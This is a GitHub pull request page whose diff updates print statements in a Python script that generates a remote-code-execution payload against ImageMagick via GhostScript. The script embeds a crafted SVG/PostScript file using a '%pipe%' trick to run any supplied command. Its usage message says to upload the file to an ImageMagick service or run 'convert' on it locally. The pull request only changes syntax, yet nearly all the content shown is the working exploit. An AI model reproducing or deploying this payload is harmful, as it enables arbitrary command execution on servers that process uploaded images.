Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use print() function in both Python 2 and Python 3 #2

Closed
wants to merge 2 commits into from
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
9 changes: 4 additions & 5 deletions IM-RCE-via-GhostScript-9.5.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,19 +2,18 @@
import sys

def genareate_payload(_cmd,_filename):

_payload = """<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <hui><desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit </desc> <image href="epi:/proc/self/fd/3" /> <svg width="1px" height="1px" /> </hui>""".format(_cmd)
f = open(_filename,"w+").write(_payload)
return True
with open(_filename,"w+") as f:
f.write(_payload)

def main():
if len(sys.argv) < 3:
print "Usage: python IM-RCE-via-GhostScript-9.5.py <CMD> <Exploit-File>"
print("Usage: python IM-RCE-via-GhostScript-9.5.py <CMD> <Exploit-File>")
exit()
_cmd = sys.argv[1]
_filename = sys.argv[2]
genareate_payload(_cmd,_filename)
print "Generating malicious payload successfully, upload it to Imagemagick service or trigger local via bash cmd: $ convert <Exploit-File> <Output-File>"
print("Generating malicious payload successfully, upload it to Imagemagick service or trigger local via bash cmd: $ convert <Exploit-File> <Output-File>")

if __name__ == "__main__":
main()